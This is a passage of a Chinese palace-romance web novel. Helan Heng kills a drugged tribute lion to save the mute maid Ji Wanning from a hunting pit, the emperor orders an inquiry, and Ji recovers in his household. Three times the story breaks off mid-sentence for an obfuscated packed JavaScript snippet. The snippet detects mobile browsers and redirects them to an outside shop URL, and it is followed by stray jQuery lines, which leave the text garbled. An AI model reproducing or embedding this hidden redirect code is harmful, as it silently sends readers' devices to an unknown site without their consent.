过了大约两刻钟,她听见地面上震开一阵急促的马蹄声,紧接着就是九公主的呼喊声。
“呜……三郎,还好你来了,我差点就被狮子吃掉了……”九公主细细抽泣着,双腿打颤抱着树干站起身来,“三郎,你扶我一下……”
贺兰珩骑在马上,蹙着眉凝目张望:“怎么只有你一人,晚凝在哪?她没跟你在一起?”
“你说那个奴婢啊,我没看见她,她应该和阿兄阿姐他们在一起。”九公主哑声道。
季晚凝仰起脖颈望着那方天空,伸长胳膊焦急地往上跳,无声地呼救,我在这里!我在坑里!
她竭力试图发声,可胸口就像被浇筑了铁水,喉头被堵住了一样,任她怎么努力也一点声音都发不出来。
她双手攥拳在坑壁上使劲捶,只发出一阵阵闷响,又从地上捡了几块石头往上扔,却悉数落回在脚边。
“咱们快走吧,万一一会儿狮子又出来了怎么办?”九公主催促道。
“等一下。”贺兰珩环顾黑暗的深林,他似乎听见了很细微的异响。
一阵窸窸窣窣的踩雪声缓慢靠近,那个庞大的黑影在林间隐约出没。
九公主大惊,猛地扑在了贺兰珩的马上,挥着胳膊想让他拉自己上马。
恰此时北苍赶来了,贺兰珩对他道:“扶公主上马。”
“殿下,仆来吧。”
渊生不知从哪钻了出来,上前扶住九公主,九公主顾不上那么多,踩着他的肩翻上了北苍的马。
贺兰珩一勒缰绳,夹紧马腹绝尘而去。
贺兰珩!我在这儿!往这边看看啊……
季晚凝仰头望着被黑夜吞噬的苍穹,胸口涌起一阵涩意,涌上了眼眶,心里的呼喊始终是无声的,没有人能听见。
两串马蹄声带着她的最后一丝希望逐渐远去,直到恢复茫茫死寂。
月色如银,投射进坑底,呈现出一片青灰色的冷光,雪又下了起来,片片如鹅毛,打着旋儿簌簌落进坑底,落在她眼睫上。
呼啸的夜风盘旋进来,无孔不入地灌进她的衣衫,季晚凝拢住衣领,紧紧抱住双臂,砭骨的寒意一寸寸侵蚀着她单薄的身躯。
40. 猎窖
渊生牵着马陪九公主往营地去了,宋聿怀迎上来,问贺兰珩:“晚凝呢?”
贺兰珩长眉紧锁,声音沉冷:“九公主说她跟晋王在一起,我现在去找她。”
宋聿怀颔首,肃容道:“既然围场里有狮子出没,我得尽快去禀报圣人。”
“圣人这会儿恐怕已经歇下了,没有他的敕令禁军不会出动。”贺兰珩解下腰间的玉佩扔给他,“你带着这个去找左千牛卫。”
宋聿怀接了玉佩,刻不容缓地掉头远去。
贺兰珩也朝着晋王的踪迹打马过去,循着夜空中翱翔的鹘鹰的影子疾驰。
夜色苍茫,雪飞云起,一袭貂氅翻浪,雪雾在他身后滚滚腾涌。
突然间,从远处的松林间冲出来一匹马,向着他发了疯似的斜切过来。
贺兰珩猛地勒住缰绳,是季晚凝的波斯马!
马鞍上却不见她的身影,空荡荡的缰绳在风中狂甩,贺兰珩的心一下揪了起来,双手攥紧,手背上青筋隆起。
波斯马在他面前刹住,扬脖嘶鸣了一声,随即掉头飞也似的往西北方跑去。
贺兰珩一甩马鞭,紧跟在它后面,一路寒风凛冽,卷着冰雪拍打在他脸上,黑马攒蹄,披霜冲雪,如追风逐电般钻进了深林里。
波斯马把他带回了找到九公主的那片雪林,贺兰珩眸光一凛,季晚凝果然跟九公主在一起,九公主却不顾人命骗了他。
贺兰珩一跃下马,风雪雕刻着他冷冽的眉眼,他从怀里掏出火褶子划亮,漆黑的双眸里燃起两簇赤红。
昏黄的火苗在风雪中摇曳不定,映得满地凌乱的足迹忽明忽暗。
他沿着痕迹四处搜查,目光一定,蹲下身从草窠里捡起了一支断弓,这是他给季晚凝的柘木格弓。
拨开丛莽,贺兰珩发现了一个黑洞,他朝洞里大喊了一声季晚凝的名字。
声音被阴森森的黑暗吞噬,回应他的是一阵低沉的呜咽声。
巨狮从暗处一步一步迈了出来,一双金瞳如同火光一样点亮了夜幕,它弓起脊背,后肢陷在雪地里,前爪勾起,做出准备攻击的姿势。
贺兰珩倏地旋身,盯着那猛兽,见它身上插着几支箭簇,想必是季晚凝射中的,可区区几支箭对于身形壮硕的狮子来说如杯水车薪。
他缓缓摸向腰间的剑,一寸寸地往外拔。
刹那间,剑拔弩张的僵持被打破,巨狮陡然蹬地,如闪电般朝着他袭来。
与此同时长剑出鞘,贺兰珩足尖点地,剑尖直指狮子的头颅,狮子怒吼一声,张开血盆大口扑向他,挥掌拍在了剑上。
掌风震得贺兰珩疾退几步,狮子一跃而起,再次扑了上去。
贺兰珩闪躲之际突然身子凌空,跌进了身后的坑里,狮子也跟着他一齐跳了进去。
坠地的一瞬,巨狮重重地压在了他身上,贺兰珩的脊椎几乎要被撞断,他屈膝顶住狮腹,从它身下挪了出来。
他闪到角落里,发现季晚凝正蜷在壁角昏迷不醒,抱着双腿瑟缩成小小的一团,衣衫已经被草棘划破了。
他赶忙脱下貂裘,披在她身上。
狮子在地上扑腾了几下,翻身站起来,双目里闪着猩红的杀意,向他逼近。
灼烧般的鼻息近在咫尺,贺兰珩攥紧剑柄,横挡在季晚凝身前。
狮子倏地一个纵跳,贺兰珩拧身将它引到另一侧,直剑刺去,正中狮身,却没伤到要害。
巨狮被袭,一头鬃毛炸开来,愤怒地跃到贺兰珩后背一掌挥了过去。
利爪在他身上划出五道血痕,贺兰珩一下单膝跪在了地上,喉咙间涌起汩汩血腥味,他死死咬住后槽牙,用长剑支撑着地缓缓站了起来。
狮子张开大嘴,露出两排尖牙,吼声滔天,冲着贺兰珩的头咬了上去。
贺兰珩飞身踏壁,旋身腾起,一跃骑在了狮背上,双手执剑高举过头顶,冷光落下,利剑直直插进了狮子的脖子里!
巨狮嘶吼一声,猛地挣扎,贺兰珩握紧剑柄深深一刺,整支剑贯穿了它的喉咙。
片刻后,他拔出剑,滚烫的兽血喷溅在他脸上,他不闪不避,又一拳砸在它的天灵盖上,伴随着骨骼的碎裂声,狮子庞大的身躯轰然倒地,震得地面上的积雪一块块掉进坑里。
血沿着剑锋掩入皑皑白雪中,长剑归鞘。
贺兰珩跃下狮背,疾步走向季晚凝,蹲下身探了探她的鼻息,已是气若游丝,她双颊苍白,如雪一般冰冷。
他一只手按住她的人中,另一只手将她冻僵的双手捂住,寒气如细针,丝丝沁入他的掌心。
霜风凄紧,方才因狮子掉了进来,顶上的坑洞也随之扩大,风如刀割斧锯般卷着冰花刮进来。
“季晚凝,快醒过来,不能睡。”他的回音在坑里徘徊,没有回应。
季晚凝阖着双眼,鼻尖冻得通红,羽睫上的落雪凝成了冰晶。
贺兰珩望向头顶的那方天穹,漆黑如盖。
这个猎窖太深了,他受了伤,一个人也未必翻得出去,更别提再背上一个人。
火褶子刚才也丢在了坑外,此时季晚凝的体温在一点点下降。
贺兰珩解下腰间冬猎常备的酒壶,药酒通神,能暖暖身子。
他揽住她的肩,把她扶到自己怀里,仰头含了口酒,俯首衔住她苍白的唇,撬开齿关,一点点渡到口中。
季晚凝嘴唇微微翕张,轻轻咳了一声,睫毛上的覆雪随着颤颤落下来。
贺兰珩低声唤她:“季晚凝,醒醒,该回家了。”
她仍闭着眼,如一尊冰雕的观音像。
他坐了下来,将她整个人严严实实环在怀里,从后面包裹住她的手,摩挲她冻僵的手指,试图将自己的体温传给她。
贺兰珩倚在坑壁上,嗓音沙哑:“是我的错,我不该轻信九公主,明明只有数丈之遥,若是……”
若是他能早一点发现她在猎窖里就好了。
若是她能喊他一声,他定能听见。
贺兰珩终于相信了她不是装哑,还有什么比命还重要的。
可究竟是什么让她在疼的时候缄默不语,在生死存亡之际也不能喊一声。
他垂眸看着她,眉心微敛,有些生气:“让你待在营帐里,你偏出来,等回了府定要好好罚你。”
季晚凝似有所觉,指尖微动,在他掌心里挠了一下,细密的长睫随着微弱的呼吸颤了颤,人却仍陷在沉沉的昏睡里。
贺兰珩喉结攒动,将她身上的貂氅拢紧,严丝合缝的。
他抬头望着那一方夜幕,徐缓道:“过了隆冬腊月,便是正月新年,你想不想逛庙会?过了新年,便是正月十五,你有没有看过长安上元节的花灯?”
“只要你醒过来,我就带你去看。”
他的声音在冷空里凝成了一团团温热的白雾,呵在她的耳畔。
雪越下越急,飞絮般的雪瓣在月光中簌簌坠落,覆在贺兰珩的墨发和肩头,不多时,就盖了厚厚的一层。
……
两日后的紫宸殿内,死寂如坟。
只听见天子粗重的怒息声,压得人喘不过气。
“查,给朕查!围场乃皇家猎苑,戒备森严,怎么会有狮子!”
猎务署的官员们像鹌鹑一样黑压压跪成一片,额头贴在地上,大气也不敢出。
“陛下,臣已查明那狮子是安息国使节准备献给陛下的贡品,由驯狮人押运入京,不想半路狮子破笼出逃,误入白鹿原里。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164479|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>为首的官员抖着声音,惶恐地回禀道。
“怎么好巧不巧就进了白鹿原?幸好九公主不曾受伤,只是受了些惊吓,不然朕把你们都扔去禁苑里喂狮子!”
天子一掌拍在扶手上,头顶的十二冕旒剧烈晃动。
“陛下息怒,臣罪该万死!”官员们齐刷刷地伏地叩首。
猎务署官员道:“此次疏漏皆因臣等疏忽所致,臣斗胆请命,将训狮人缉拿归案,将功赎罪。”
“一群蠢材!抓不到人你们就提头来见!”天子暴怒道。
无人再敢说话,贺兰珩从百官中站出列,神色沉静道:“大理寺也愿协助查案。”
贡狮都是由技艺精湛的驯狮人驯服过的,可那头狮子偏偏就在围猎这两日偷跑出来,闯进白鹿原险些伤了皇亲国戚,让人很难不怀疑背后有人作祟。
天子怒火稍敛,微微颔首,又扫了眼阶下的文武百官道:“此事本不关大理寺的事,而贺兰卿不仅临危护驾,及时救出九公主,还主动请缨调查,再瞧瞧你们这些尸位素餐的鼠辈,不成一事!”
朝臣们埋着头,不敢作声。
“贡狮一案就交由猎务署和大理寺,”天子一抖龙袍,“退朝!”
与此同时的含象殿。
九公主居高临下地俯视着阶下的渊生,扬起马鞭,狠狠抽打在他身上。
“狗才,都怪你把本主往林子里引!”
“若不是本主福大命大,你现在是不是已经巴结上阿耶的心腹康诫了?”
渊生四肢着地,像狗一样趴在地上,背上新裂的鞭伤与陈年的疤痕交错成网,不堪入目。
他声音微弱:“仆不敢。”
“别以为本主不知道你的野心。”九公主抬起笏头履,用鞋尖挑起他的下巴,“记住,就算我做鬼也要拉上你一起!”
“仆罪该万死,认打认罚。”
九公主收回脚,拂了拂裙摆道:“去领二十宫杖,就说是本主赏你长记性的。”
太子妃宋含芷刚给郑贵妃请安出来,听见西配殿那边隐约的骂声和此起彼伏的鞭声。
她微微侧首望了一眼,身边的宫女附在她耳边道:“九公主在打罚下人,见怪不怪了。”
宋含芷敛了目光,轻移莲步,道:“走吧。”
回到东宫,她命人煎了茶,端着茶盘款款迈进东宫书馆。
太子文弱的身子端坐在水墨丹青屏风前,面色看起来有些苍白,手里握着一卷泛黄的古籍,专注地看着。
宋含芷将茶托轻置在紫檀桌案上,目光有意无意地扫过他手中的《抱朴子》。
“殿下此次没随御驾冬狩,实乃万幸。”宋含芷轻启朱唇,柔声细语道,“那落逃的贡狮若是伤了大齐储君,可如何是好?”
太子面无表情,目不斜视道:“对你来说,孤只是大齐储君?”
宋含芷捏着锦帕掩口道:“妾失言,妾本意是殿下不仅是妾的枕边人,更贵为太子,肩负江山社稷,殿下的安危干系着朝局稳定,天下太平。”
“太子妃果然贤德惠质,胸怀天下。”太子声音微寒,“可惜孤要让你失望了。”
宋含芷面不改色,一贯地温恭道:“所幸九公主吉人天相,有惊无险。妾听闻长公主、晋王、大理卿、陇右节度使的幺子……以及舍弟当时都在围场里,实乃龙气护持,苍天垂怜。”
太子不为所动地翻着书,置若罔闻。
宋含芷垂下眼睫,起身告退,走到书馆门口时回首望了眼,他仍在低头阅卷。
房门轻轻地关上了。
太子放下手里的书,铺开一张宣纸,提笔记下了刚才宋含芷说的几个名字,随后又换了朱笔,在上面圈圈画画,蹙着淡眉陷入了深思。
41. 坠床
散朝后贺兰珩直奔大理寺,仵作正在殓房里验尸,这回不是验人,而是验狮。
硕大的狮身铺在木板上,已经被开膛破肚。
“卑职在此狮胃里发现了一剂药物。”仵作将药物的残渣放在白帛上,展示给贺兰珩看,“这药由曼陀罗花、乌头和马钱子调配而成,可使猛兽变得狂躁不安,攻击性更强。”
“那么便可坐实是有人蓄意为之了。”贺兰珩道。
曼陀罗花罕见,为西域流入之物,想要按图索骥、追根溯源并不难。只是此人的意图到底是什么,尚不明了。
雪停后的天气格外冷,薄暮沉沉,乱云低垂,覆雪的梅枝在凛风中颤颤摇摇。
贺兰珩下值后回到来鹤园,脚步有些沉重地踏在已结成冰晶的雪上,咯吱作响。
容嫣坐在季晚凝的卧榻边,她散堂后就立刻过来看她了,一旁的小阮从热水盆里捞出巾帕,拧干敷在季晚凝的额头上。
那晚季晚凝和贺兰珩被左千牛卫救出了猎窖,回来之后季晚凝就发了高烧,一直昏迷不醒。
贺兰珩推门而入,将靴底的雪跺了跺,走进里间道:“她醒了吗?”
小阮一脸沮丧地冲他摇了摇头。
贺兰珩走上前,看着裹在厚厚一层被子里的季晚凝,苍白的小脸烧得酡红。
“太医今日来过了没有?”
“来过了,只是药喂不进去。”小阮苦恼道,“不过孙嬷嬷煎了草药,说是之前晚凝姐姐给她治胃病的方子,热敷在腹部,这会儿她已经好些了,不打冷战了。”
贺兰珩颔了下首,神色依旧沉冷。
“我才知道晚凝原来宿在你房里啊。”容嫣见屋内气氛有些凝重,便揶揄道,“阿兄,你又不是半身不遂,为什么让晚凝在你榻旁伺候啊?”
贺兰珩睨了她一眼:“上回让你临的书法帖子临完没有?”
“唔……”容嫣顾左右而言他,“我去看看饭好了没有。”
容嫣溜出寝室,突然又想起了什么,从帘缝里探出个小脑袋来,道:“哦,对了,刚刚那个长得像何晏的宋监察来递了拜帖,不过因为你不在,东义让他先回去了。”
贺兰珩嘴角微扯,何晏的美貌举世闻名,不过已是几百年前的人了,她怎知长得像不像,说得就跟自己见过一样。
容嫣见他凉飕飕的眼风扫过来,马上放下帘子跑了出去。
天完全黑了下来,府里的宫灯渐次亮起,膳厅里灯火灿然,映得满桌菜肴油亮亮的,秀色可餐。
人都到齐落座,蓬莱县主吩咐仆从布菜,把贺兰珩的饭碗堆得像小山一样。
“谦晔,你这趟冬猎受了伤,得多补补,还有这药粥是我特意让厨子给你熬的。”县主关切道。
贺兰珩沉默地夹了几口菜,食之无味,便搁下玉箸,把药粥喝了后道:“儿初愈,胃口不佳,先告辞了。”
说罢就起身离席了。
“他这是怎么了?”县主满面疑惑地转向贺兰淳德,又看看容嫣,“从白鹿原回来后这两天都这么沉闷,饭也吃不了几口。”
容嫣划着饭,谨记贺兰珩让她保守秘密的承诺,于是转了转眼珠道:“还能有什么,九公主想让阿兄尚她,阿兄不愿意呗,九公主还把我的马射伤了,我拒绝她当我三嫂。”
“一匹马而已,等你及笄了阿娘给你寻一匹西域宝马。”县主不以为意道,她自己是宗室女,性子也有些骄纵,“尚公主有什么不好,谦晔的婚事终于有着落了,我高兴还来不及呢。”
容嫣急道:“阿娘!你怎么可以胳膊肘往外拐,而且我看阿兄对九公主根本没有意思。”
“婚姻大事不是儿戏,哪能由着性子来,回头赐婚圣旨一下,他还能抗旨不成?”
县主说着给贺兰淳德递了个眼神,贺兰淳德抿了口龙膏酒,点头称善:“你娘说得对,九公主得宠,谦晔若能尚九公主,将来仕途就无虞了。”
容嫣嘟了嘟嘴,带着一肚子闷气,低头继续干饭。
贺兰珩回到寝室里,只有一盏孤灯茕茕而立。
自行更衣沐浴后,他把灯放在了季晚凝的卧榻侧边,然后在床上躺下来,刚好能从帘帐上看见她的影子。
如前两日一样,她还在安静地睡着。
贺兰珩看了一会儿,眼皮打架,终于阖上了眼。
夜深人静,烛光摇曳。
昏迷的季晚凝被困在了梦魇里面,她柳眉微蹙,轻轻哼了一声。
梦里颠颠簸簸,她坐在马车中行驶在山路间,倚在一个温暖的怀里,耳畔是母亲的柔声絮语。
“荧荧,再有一日就到兰陵了,等回了娘家,你想吃什么就吃什么,不用饿肚子了。”
“那阿耶什么时候能来找我们?”季晚凝用担忧又软糯的声音问道,圆溜溜的眼睛一眨一眨地望着季羽。
季羽吞下喉中的哽咽,莞尔笑道:“只要你乖,阿耶就会来梦里看你的,所以以后你要听阿娘的话,每天按时睡觉,知道吗?”
季晚凝鼻子一酸,道:“我不要阿耶来梦里看我,在梦里我就触碰不到他了。”
“会的,在梦里什么都可以发生。”季羽紧紧抱着她。
一旁的阿姐用脆生生的嗓音说道:“阿娘说得对,荧荧你看,我这不就来梦里寻你了吗?”
“阿姐你又骗我了,咱们又不是在梦里。”
“我可没骗你。”
“那你怎么证明是不是梦?”季晚凝反驳道。
这时一直沉默的阿兄开口了:“荧荧,你还记得吗,你从刑部大牢出来后就没说过话,可你现在怎么又能开口了?”
“是啊,不信你摸我,我的手是没有温度的。”阿姐说着,拉住了她的手。
季晚凝拧起眉尖,的的确确是冷的,也没有往常柔软的触感。
“可阿娘就是暖和的,分明是你手凉而已。”她不服输地争辩道,“我说得对不对,阿娘?”
季晚凝转过头,往季羽身上蹭了蹭,靠在她的怀里,又冷又硬,好像一具死尸。
“很暖和……”她嘴硬地小声嗫嚅着。
季羽低头冲她笑,用诡异的语调道:“荧荧,其实我们都死了。”
阿兄语气忿忿道:“如果不是那密信,我们不会死。”
“住嘴。”季羽斥了他一声。
阿兄把头扭向窗外,分外冷静道:“前面十丈远的地方,有一头狮子,一会儿狮子会扑向马车,马受惊后我们就翻车坠崖了。”
“阿兄你胡说!咱们是被贼人袭击了,才不是遇上了狮子,你以为狮子是很容易遇到的吗?”
说到这儿,季晚凝噎住了,艰难地吞咽了一下。
没有人再说话了,只有哒哒的马蹄声和车轮碾过碎石的咯吱声。
突然间,哐地一声巨响,好似地动山摇一般,马车猛烈地晃动,门窗骤然碎裂。
那一幕再次重演。
季晚凝从母亲怀抱里脱落,掉出车外,在地上滚啊滚,悬在了陡峭的深崖边。
“阿娘,你在哪?抓住我……”
“我要掉下去了!”
季晚凝伸着短小的胳膊呼喊。
四下昏昏然,阒静无声,没有人回应她。
季晚凝苦苦支撑着,可双手抓着的石头还是松动了,她从悬崖坠落进了万丈深渊,整个身体在空中失重。
“我在这儿!”
“听得见我的声音吗……”
风从她身旁呼啸而过,没人听见她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164480|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呼喊。
要死了吧,她想。
阿娘、阿兄和阿姐都是这么死的。
季晚凝闭上眼,在风里不停地下坠。
忽然,一双坚实有力的手臂托住了她的腰背,她平稳地落在了地上。
季晚凝在梦中睁开眼,惊喜地抬起自己的手看了看,我没有死,是阿姐错了,我们都没有死……
贺兰珩双臂稳稳托着险些从榻上滚下来的季晚凝,因着这么一接,后背的伤口撕裂地疼。
他缓缓直起身,将她打横抱了起来,轻放在自己床榻的里侧,扯过被子盖在她身上,躺在她旁边倚着床柱看她。
她静静地伏在枕上,如一只被扑落的蝴蝶,轻颤的羽睫收了翼,呼吸轻缓。
……
雪晴云淡,梅影横窗,淡薄的晨曦铺陈在季晚凝脸上,她眼睑微颤,缓缓睁开了一条缝,眨了眨羽睫。
薰炉吐着烟霭,她将脸埋进柔软的棉被,裹着暖意翻了个身,面前的墙上竖着一扇月白画屏,再往左手边看看,床侧垂着流苏帘帐。
季晚凝顿时清醒过来,她怎么睡在贺兰珩的床上?!
另半侧的床榻空空荡荡,这时帘帐被轻轻拨开了。
“晚凝姐姐,你终于醒啦,可担心死我了!”小阮眯着笑眼,扶她坐起来。
季晚凝觉得口很干,毕竟几日没喝过水了,她半倚在床头慢慢喝着小阮递过来的温水。
小阮又从小厨房里端了碗粥过来,还把雪媚娘拎进屋里放在案几上。
“早日康复!早日康复!”小家伙歪着脑袋叫着。
“这是我教它说的。”小阮一脸骄傲道。
季晚凝被逗乐了,露出一个清浅的笑容。
“晚凝姐姐,趁热把药喝了。刚才我进来时见你没在卧榻上,才发现你在郎君床上。”
小阮的语气稀松平常,似乎并不觉奇怪。卧榻窄小,晚凝姐姐病中睡着不舒坦,郎君人这么好,照顾下人也无可厚非。
季晚凝的尴尬缓解了些,拿勺舀粥喝。
傍晚,容嫣来看望她,絮絮叨叨讲了半晌夜猎那天发生了什么。
“阿兄就在你面前,把那狮子活活打死了!”容嫣道,“第二天圣人听说后吓得脸色青白,想想都心有余悸。”
他把狮子打死了?季晚凝睁圆眼睛,扬了扬眉。
“圣人命阿兄去查案了,所以这几天他可能不回来了,你可以一个人睡他的大床,放心吧。”容嫣道。
原来如此。季晚凝一整日坐卧难安,听她这么说就心安理得了。
正说笑,这时小阮撩帘进来,怀抱着一个精致的漆盒,道:“晚凝姐姐,有个姓宋的郎君来看你,还送了棵灵芝过来。”
季晚凝的笑容忽地一敛,摆了摆手。
容嫣只当她是不敢逾矩,劝道:“你就收下吧,这点儿东西对宋家来说就是九牛一毛。”
而季晚凝态度坚决,她不想要宋聿怀的东西,更不想见他。
小阮只好把漆盒原封不动地拿了回去,宋聿怀负手站在外间的锦幔后面,披着鹤氅英英玉立,一身清雅端朗。
小阮将漆盒交还给他,不失礼数地辞谢道:“宋郎君,晚凝姐姐不愿收贵人的馈赠,要不等我家郎君回来后,再遣人来交给他吧。”
宋聿怀默了一息,伸手接了过来,抬眸从晃动的帘子后面望见一个半卧的柔美侧影,他喉结无声滚动了一下,最终还是一语未发,彬彬有礼地告辞了。
季晚凝微微侧头,看帘后若隐若现的人影转身消失在门外。
不知道他打的什么主意,有没有认出她来,接近她是不是为了试探她?季晚凝断然不会暴露自己的身份,他是宋熙的儿子,自然离他越远越好。
42. 哨子
这几日季晚凝都在卧床静养,醒着的时候便看容嫣给她买来的话本消磨时光。
容嫣说这是近来新出的本子,坊间很时兴,甚至还有戏班在戏场里上演。
故事曲折动人、缠绵悱恻,讲了一个士族千金在大婚当日,与竹马未婚夫拜堂之时,一道圣旨闯进来,将她打入深渊,成为罪眷。她被剥去嫁衣,没入掖庭为婢。
苦熬了五载春秋后,她终于等来了大赦,出宫那日她穿过半座城池,奔向夫君的宅邸,满心都是重聚的念头。却在街上见他穿着喜服,风风光光坐在障车里,手挽新娘,脸上的笑容如同当年他迎娶她时一样。
扉页上落着著书人的笔名“夙语琴士”,季晚凝一下就联想到了林夙之,这个故事跟她的经历颇有相似之处,也不知她现在如何了,夙语琴士莫非就是她本人?
季晚凝正沉溺于话本的时候,全然未觉外间的脚步声正在靠近,直到一抹影子覆在了书卷上。
她抬起头,贺兰珩已经坐在了床沿上,她慌忙撑起身来,掀开被子要下床。
他伸出一只手挡在了她身前,摊开掌心。
季晚凝的目光落在他骨节分明而略带薄茧的手上,掌中放着一只木哨,顶端拴着红绳。
她望着他轻眨羽睫,清莹水润的眸里泛起疑惑。
“给你的哨子。”他道。
这几日贺兰珩想了良久。
先前吴道坤说她是聋哑,贺兰淳德却说陈家的儿女中没有哑巴,是以他推测季晚凝为了保守秘密,在刑部大牢里装哑,一装就是十年。
经历了夜猎之后,他才发现自己猜错了,或许当年牢里发生了什么,成为了她解不开的心结,以致她无法发声。
“以后遇到危险的时候就吹响它。”他的声音里掺了一丝轻柔。
季晚凝从他手里拿过木哨,挂在脖颈上,轻轻吹了一下,突然脑中一亮,想起一件跟案子有关的事来,她扯了扯他的衣袖,做了个握笔的手势。
贺兰珩迟疑了一息,起身从一个上锁的木匣里取出了文房四宝。
季晚凝瞪大了眼睛,他这是藏了多久,成心为难她,太可恶了!
她徐缓下地,披着件外衫,伏在案上写道:“夜猎时九公主的内侍渊生将她引入深林,随后便遇见了狮子。”
贺兰珩坐在她对面,缓缓摩挲指节,眉眼嵌在烛光背面,隐有一缕暗色,他声音低沉:“我知道了,此案我已经有了眉目,狮子的事与你我无涉,这里面的浑水趟不得。”
季晚凝点了点头,犹豫了一下,最终没有告诉他九公主险些害死自己的事。
即便她提了也不能怎么样,虽然她实际是良籍,但因为跟贺兰珩的契约,她现在的身份在别人眼里就是贱籍,在大齐,奴婢贱民律比畜产。
九公主贵为皇女,倚靠天子,权力一层一层往下倾轧,即便是贺兰珩,面对皇权也一样俯首称臣。
她握笔的指尖掐了一掐,又松开来,写道:“君伤势如何了?”
“无碍。”
贺兰珩顿了顿,神色沉了下来,“你以后若是再轻率行事,等你从府里出去的时候,一分钱也别想带走,你肚子里的那些盘算趁早打消。”
季晚凝嘴唇紧抿,轻轻将笔搁回了砚台上,垂下眸子,鸦羽的影子在烛光下细细铺陈在眼睑上。
梅枝在寒风中不停地刮着窗牖,发出令人不安的声响。
贺兰珩抬眸望了望窗纸上的树影,再回头时,她已拢着外衫起身,把被子抱回了卧榻上钻了进去,只留一个纤弱的身影背对着他。
他喉结上下滚动了一下,薄唇微启,想说些什么,喉咙却仿佛被什么东西卡住了一样。
她若安分,他便护她周全,她若执意翻案复仇,无论是作为大理卿还是作为陈家故交,他都必须阻止她。可若捅破这层窗纸,无异于逼她承认她父亲是个罪臣。
他第一回体会到了如鲠在喉,说不出话的感觉。
房外。
孙嬷嬷抱着几包药材来到小厨房,嘱咐春彤道:“郎君特意让我从私库取了些名贵药材,你拿去熬药粥,每日给晚凝送过去。”
春彤不敢不听阿娘的话,心不甘情不愿地应了一声,花了一个时辰熬好后端出厨房,路上碰见了小阮,便让她帮忙送进了季晚凝房里。
春彤转身往回走,见梨穗正在和婢女们打双陆,她走上前搬了个杌子坐下,埋怨道:“这次冬猎三郎君和晚凝都受了伤,晚凝作为下人没护着郎君,郎君居然还让我给她熬药粥。”
梨穗放下棋子,道:“就是说啊,我亲眼看见她为了巴结晋王和九公主,跟他们一同去夜猎,她是贺兰府的奴婢,不跟郎君一队,却跑去和晋王一队。”
春彤道:“都是郎君惯的她,如今偌大的贺兰府满足不了她了,她还想攀附皇室,亏得郎君这么照顾她。”
小阮送完药粥从寝室里出来,听见她们在背后非议,上前打断道:“你们未知全貌就说三道四,晚凝姐姐不是这种人。”
梨穗白了她一眼:“你又没去冬猎,你知道什么?”
小阮张了张嘴,欲辩无辞,于是把东义叫过来了撑腰。
东义义不容辞,拍着胸口道:“是九公主让晚凝跟她们一队去夜猎的,咱们奴仆也不能违抗公主的令啊。”
春彤不以为然地啧了一声:“堂堂公主殿下怎么可能让一个奴婢加入她的队伍。”
“咦?梨穗,你没告诉她们吗?”东义看了眼梨穗,“因为晚凝赢了长公主的骑射赛啊!长公主赏了她一支九什么……对,九凤簪,可长脸了!”
“长公主?”春彤不敢置信,惊讶地望着梨穗求证,“她何时会骑射了?”
梨穗目光闪躲,她原以为季晚凝只是以色侍人,冬猎时大展身手之后,她便自揣有愧,发现自己与她的差距越来越大了。
她嘟囔了一句:“若郎君也教我骑马,我未必比她差。”
小阮道:“只看见贼吃肉没看见贼挨打,晚凝姐姐学骑马吃了很多苦,梨穗姐姐你能熬得住吗?”
梨穗咬了咬唇,虽然她没看见季晚凝是怎么学骑马的,但骑射赛时她确实看见她从马上摔下来,险些被踩踏,这种罪她可受不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164481|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住。
“要出风头就得付出代价。”她马上话锋一转,找回场子,“话说回来,还不是郎君为了救她才受的伤?下人不护主人,反倒让主人来救,倒反天罡,我都替郎君觉得不值。”
春彤附和道:“就是。”
“值不值我说了算,你们也配在这里评头论足?”
贺兰珩负手走近,声音很低,语气却十分冷厉,眸光黑沉沉如染墨的阴云压了过来。
春彤闻声一个瑟缩,上回跪了一个时辰的痛苦她还记得清清的,她默默从小阮手里把食盘拿过来,溜回了厨房。
梨穗手忙脚乱地把棋子收起来,站起身垂头回道:“奴婢知错。”
看着贺兰珩转身走远,她把棋子丢进木匣里,心想她有什么错?她不过是为了郎君打抱不平,郎君怎么还反过来为季晚凝说话!
……
雪满长安道,万物银装素裹,庄严而华美的宫阙被厚重的积雪覆盖住,与朱红色的漆柱相映成景。
今日贺兰珩进宫陈报贡狮案,在这之前他以调查案子为由请了令,来到了太液池东畔的凤阳阁。
凤阳阁是公主居所,修建得格外精美,每层栏杆都雕刻着凤鸟衔珠,以缠枝莲纹点缀,殿顶覆着孔雀蓝琉璃瓦,金碧焕目。
